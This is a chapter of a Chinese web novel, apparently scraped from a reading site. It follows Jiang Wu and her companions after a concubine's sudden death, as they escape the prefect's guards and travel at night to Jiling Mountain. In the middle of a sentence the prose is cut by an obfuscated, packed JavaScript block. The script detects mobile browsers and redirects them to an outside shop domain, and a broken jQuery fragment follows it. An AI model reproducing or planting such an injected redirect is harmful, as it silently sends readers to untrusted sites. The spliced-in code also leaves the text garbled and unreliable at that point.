原来是落了惊雷,绵密的小雨也大了起来。
姜芜从榻上起身,用手绢擦拭额间冷汗,想起那个梦,太不真切,没由头的梦些乌七八糟的人和事。
她给自己倒了杯茶,已经凉了。估摸着时间差不多酉时,不知司徒渊事情可还顺利?
姜芜去寻了苏无言,却没在房中,又去找了司徒渊和白玉,也都不见人。这时客栈吵吵闹闹,一阵喧哗,她被吸引去,侧耳听着。
两人争执不休,你一言我一句的骂开,一个骂“匹夫”,一个骂“狗屁”,一个“之乎者也”,一个“去他娘的猪狗”,总之是秀才遇到兵,话不投机,连骂人都不带劲。
姜芜仔细从中筛选出有用的信息,从旁围观的路人口中依稀知道,州府老爷府邸出了大事,早上还在病重的柳姨娘,下午竟去了!
怎么会这样?
姜芜回到房中,哪里出了错?她下的迷药并不致命,只会让人产生癔症,胡言乱语一些时间。况且司徒渊去送解药,怎么也不可能不治而亡。就算经不住害怕,也不会这么快。
她疑心有人动了手脚,又或者司徒渊并不可信?
姜芜上了街,想去州府打探些有用消息。雨还没停,她撑了伞,街道上稀稀疏疏的只有一两个赶路的行人。姜芜到州府门前,果然像听说的那样,门上挂起白幡,整个州府肃静萧条,门内传来不绝于耳的唢呐,道士,和尚做法的声音。
吴有为是病急乱投医了。
和尚,道士一并请到府内。吴有为的惧意达到顶峰,尤其是柳姨娘横死后。他不敢出门,院里围满了道士和尚,听到经文声才会稍下心安。他不敢入睡,神经紧绷。也不敢吃东西,怕被下了降头。
州府外的巡视紧密起来。
“谁!”一阵惊喝,巡视的衙役朝姜芜处投来冷意,下一刻拉弓射箭,剪头对准姜芜。
姜芜心惊,她只遥遥望着,并未做出出格的事,州府已经草木皆兵到这种地步了吗?
剪头直直朝姜芜过来,因离得远,姜芜躲闪过去,接着更加紧密的箭矢铺天盖地的朝姜芜盖过来。姜芜以伞面作盾,抵挡了一部分箭矢,身体掩在梁柱下,借机快跑。
这时,苏无言悄无声息的出现在她背后,将她掩住,从一条小巷逃开。奔走几里后,直到脱离追兵两人才喘着粗气停下。
姜芜问他才半日光景,州府怎么翻天覆地的发生了这等大事?不是让司徒渊去送解药的吗?
是解药,不是毒药。怎么会吃了暴毙?
苏无言也说不清楚。以司徒渊的身手,不可能有人调换解药。而且他亲眼看柳姨娘服下药,无事之后才离开。
那只能是吴有为自己人动的手?
他们却不明白此人意欲何为,柳姨娘对吴有为来说,只是个可有可无的貌美姨娘,死了还会有其他人。
姜芜猜测,难道是吴有为内院姬妾争宠?
苏无言不做言语,带着姜芜回了客栈。
他们需得离开了。自司徒渊送药,柳姨娘暴毙后,吴有为更加疑神疑鬼,一边认为是鬼神在警告自己,一边又觉得是有人要毒害他。下了令封闭城门,直到抓住凶手。
“不过有个比较好的消息,吴有为提前剿匪,今日夜里行动,已经调集人手往稽灵山去了。”苏无言说。
司徒渊冷着脸,白玉愤愤不平。如果是毒药,根本不需要如此大费周章,直接在迷药里加一点点他秘制的毒,不出一个时辰,还不是手到擒来。何需惹得一身麻烦。
白玉骂吴有为“蠢货”,被人设计了都不知道,恐怕哪日暴毙府中也只会觉得是冤鬼索命。
提前清剿山匪,这对姜芜来说确实是个好消息。她没什么东西收拾,将他们送的锦盒和银两藏好,四人决定夜里就走。
一路前行下来,无比顺畅。虽说吴有为下达了命令严防谨守,加强巡视,势必要抓到凶手,且紧闭了城门。但他们还是十分轻易的出了城,连半点坎坷都没遇上。
白玉说吴有为果然是蠢的,连手下的人也愚不可及。
姜芜却不这样认为,心思重起来,一路留意,长了心眼。
他们往稽灵山的方向去,守在山脚,等官兵清剿完山匪后再趁乱偷偷带走林无隅。
他们走的小道,夜里起了霜,寒冷得有些刺骨。虽说已经过了最寒的日子,但到了夜里还是经受不住的冷。
姜芜缩了缩身子,将自己蜷成一团,来回搓着手。她后悔没将手炉拿上,这会儿可冷着她了。
苏无言将大氅取下,系在姜芜身上,这才有了暖意。
姜芜没有推辞,紧紧拢着大氅。
“小心。”苏无言下意识的伸了手,将她扶住。“小道泥泞,白日下了雨,潮湿路滑,路上石子多,小心崴脚。”
姜芜沉闷的回了个“嗯”,闷头走着。她喉间发痒,鼻音有些重,恐怕染了风寒。
一路粘腻湿润,姜芜落在后面,耷拉着脑袋,越往后越昏昏沉沉。司徒渊在前开道,白玉跟在左右,苏无言慢下步子,和姜芜并肩走着。
“扶着我走,路上滑。”苏无言伸出手。姜芜意志昏沉的将手搭上,没有说话,有没有力气说话。她身体发烫,是发热的前兆。
苏无言将姜芜的重心往他身上倾,自己承受着她的重量。实际姜芜很轻,身体娇小,整个人裹在大氅下更加玲珑。苏无言眸光中泛起心疼,上下没有药,又在野外,只能尽量让她好受些。
姜芜让自己保持清醒,这时候不能连累大家,而且她还有救下林无隅。姜芜在手臂上狠狠一掐,用疼痛保持清醒。
她记得沈清安说过,只有疼痛不会要人麻木。
姜芜不知不觉间将沈清安融入了自己的世界,在她无意识下,渗透在每个角落。
手臂上没有传来痛意,果然还是不能手下留情。她怕疼,所以方才没有下狠手。没想到自己竟昏沉得如此严重了,连痛感都麻木得感受不到。
姜芜决心下狠手,死命的掐了一下。
还是……不疼。
她怎么了,不过染了风
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481073|139802||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
寒,怎的连痛感也没了。
这并不是值得欣喜的事。若是天生如此她会觉得庆幸,然而她此刻病了。
耳边传来模糊的嘶鸣声,姜芜没有力气去理,闷头往前。
苏无言脸上快要皱成一团,“你觉得如何?”
姜芜认为他莫名其妙,病了的人会如何,除了浑身难受,还有什么?难不成会妙不可言?姜芜不想回答他。
苏无言径自说道∶“我可要疼死了!一次便罢了,我只当你头昏眼花,一点痛也就忍了。然你第二次可下了狠手,皮肉都要被你揪去。”
姜芜虽然昏沉得不记事,但她却从苏无言的语气中听出了委屈,这种感觉很奇怪,是苏无言奇怪。一个端庄雅致的人,做什么低姿态,搅得她心都乱了一拍。
姜芜支支吾吾的道∶“那……对不住了。”
苏无言沉闷的应了一声,该是被掐疼了。
白玉在前等着他们,见两人跟上后,小声提醒道∶“前面就是稽灵山脚了,看到火光没,就是蓟州官兵,领头的那个是吴有为心腹,叫宋鸿羽,是条听话的狗,忠心得很。”
姜芜望着火光的方向,果然聚集了一大群官兵,手持火把,身穿玄色轻甲,手里握着长矛,宝剑。
姜芜问∶“师爷没来吗?”她心神不宁,总觉得太过顺利。
白玉随意道∶“他一个幕僚,入幕之宾,靠的一张嘴,像清剿这样打打杀杀的事,他恨不得躲得远远的。”
姜芜觉得有理,没再继续深思。
苏无言道∶“早在落日前官兵已经往稽灵山走了,怎么现在山脚还有人?”
不该是全部打上山,来个瓮中捉鳖吗?留一群人在山脚做什么?
三人也觉得奇怪,按时间算来,他们到达时应该清剿得差不多,他们只要捡漏将人带走就成。怎么现在这个时间山脚还乌泱泱的围满了人?
而且稽灵山的山匪,除了人多势众,长得五大三粗,练就了一副欺男霸女的本事,要真刀真枪的动起手来,恐怕不会是训练有素官兵的对手吧?
姜芜心下琢磨,白玉道∶“可能是吴有为养了一群饭桶,仆随主,这么多年光吃不练,只能靠人多壮势了。”
“估计是怕人手不够,特意又调了人来。”
白玉说得有理有据,十分符合吴有为的作风,也相当是师爷的谨慎风格。
姜芜问司徒渊白日去州府的时候可有什么异常?
司徒渊冷峻的眼里射出寒光,思索后冷冷的回答“没有”。
白玉恍然说∶“我听府里的下人说师爷去了柳姨娘院里几次,每次待的时间还不短,这算不算?”
白日里他随司徒渊一同去的府邸,司徒渊太冷,生人勿近。白玉跟着也能适当缓和司徒渊的冷。白玉像个太阳,总能在司徒渊风雪骤起时将它融化。
司徒渊脾气不好,没有耐心,能动手不动口。
白玉的话点醒姜芜,一个师爷,出现在主家姨娘房里本就不合规矩,还几次三番,会不会太过了些?